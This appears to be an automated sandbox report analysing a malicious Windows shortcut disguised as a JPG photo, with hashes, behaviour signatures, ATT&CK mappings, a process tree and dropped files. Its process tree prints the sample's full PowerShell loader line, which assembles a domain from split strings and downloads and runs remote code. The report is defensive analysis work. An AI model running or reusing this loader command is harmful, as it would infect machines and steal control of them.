2526cf3a80914938e743c268d36d65744668bba6b1b9a0c30265225675bcf98a

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_205540.jpg.lnk
Size 1KB
Sample260728-mcaeaavaja
SHA256 2526cf3a80914938e743c268d36d65744668bba6b1b9a0c30265225675bcf98a
MD5 98a3c4b0bd72d42eacae62a6bc2c628c
SHA1 25eedf63cc8f1912f6066128871a2fb8e2eb51c9
SHA512 a596b0389026a52293ded46052452825b78ea37bc5c64e4c343d5e1d71b0f10f304c15ecc30fefc9e42c4d8f514379936d82e51f71c096054c1cfb5fa49faea1
TLSH
T17F21E4221BF20768DABB8B755876631187327A0ADB45CF9F13C042949574110F4B8F7B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4328	powershell.exe
4	4328	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4900	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4328	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4900 wrote to memory of 4328	4900	cmd.exe	90
PID 4328 wrote to memory of 5696	4328	powershell.exe	91
PID 5696 wrote to memory of 248	5696	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_205540.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reservphotoinstaynow.','shop')[0,1] -join $Ifu7YzOo) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5696
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES423F.tmp" "c:\Users\Admin\AppData\Local\Temp\qhxffkws\CSCD307F8A6A00C48AB8BE1D32DB3CE133.TMP"
      4⤵
      PID:248

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES423F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES423F.tmp
Size 1KB
SHA256 8b6b8d54ff620c817b59060f6bef15b5c2fc95e0ced4dceab1e5717fc31c2eea
MD5 90e532badaf60a483e759683f5ca6297
SHA1 6834b22bb63532f2a4bc9095acc7a790af794e19
SHA512 efb87d75079ea9c56c0e849d5e58aca64f9a6989fbb6bf40b7ba94300a73eb8b99da3b813cb1be79c362d28141aee1a83375be1a9eabc58634473b87aa2396d1
TLSH
T14321CC0543E9474EF0B34731B9FA132F9234FD58EFB1675A844041282C51544EEE1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

qhxffkws.dll

Path C:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.dll
Size 3KB
SHA256 32894d231784bfa8066de6f9ba33a44dda7681bc6e7f84ce66cb1c8223286e1b
MD5 b21c1bcbba79270dfd764f581e2e3f2b
SHA1 bea4ad844a5689a9f4f0b6f6d7d514d106309721
SHA512 8631dc55c3689f14d8ad2e1cc35589313e7ccf530da2a499e24bf8aa2706de27fbf0aae3a151a2840d1fd0ec3871cfbd527bb3090bdb4ab90ce35b81b0a0b482
TLSH
T18951CA1697E9466BE4770B34BEE3075737B4FC148FB2676959804228AC217545E32FB0
MD5 SHA1 SHA512 TLSH

Submit Download

CSCD307F8A6A00C48AB8BE1D32DB3CE133.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\qhxffkws\CSCD307F8A6A00C48AB8BE1D32DB3CE133.TMP
Size 652B
SHA256 bf2b99d80ae9f54cab5c70a0cf6466bdec91051dde48fe0ac675f5ecbe676551
MD5 fd66848755df8886d0960ee4d029fb66
SHA1 b87459fdb38e0ce8ce23ed6ed069892f1155ec66
SHA512 12e11384efaf5fda190463df20ec4e9283766a743404f620d7865f3bdf98ffa9d484bf5189e80af712172550cf1315f8af031a7d2c898e37a922fb531ce36965
TLSH
T165F0340A67F8520AF0F35B30F9F653A3A1A8BC64DE3293ED588043196C645148A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

qhxffkws.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

qhxffkws.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\qhxffkws\qhxffkws.cmdline
Size 369B
SHA256 80051802d84c4673e8c8a5cb9c811789dbdaada54f50b3d57efcda51386177ed
MD5 4ddc08ba74e44bccdd8ff271dd17f310
SHA1 17c626a177f631aee96ad6d89e46bb5ccd1a6bde
SHA512 7e656a8ab8e608a55440f7daf7247ca4257fc20fb1c7c4eb40bc13634fb87a8a35364e34d9d3bc9ccf14e8a7202eb4c763436c8a37d65864c13bdcc3917f81d1
TLSH
T165E0C02B9246C27D41DD5517316AC4ECE2723F4F29403F846040442DF01F40027D3F41
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4328-10-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-20-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-11-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-12-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-13-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-14-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-15-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-16-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-17-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-18-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-19-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-2-0x00007FF8CFE3F000-0x00007FF8CFE40000-memory.dmp

Download

memory/4328-9-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-8-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-7-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-33-0x000002413C3E0000-0x000002413C3E8000-memory.dmp

Download

memory/4328-6-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-5-0x000002413C3B0000-0x000002413C3D2000-memory.dmp

Download

memory/4328-34-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-35-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download

memory/4328-36-0x00007FF8CFCB0000-0x00007FF8D0654000-memory.dmp

Download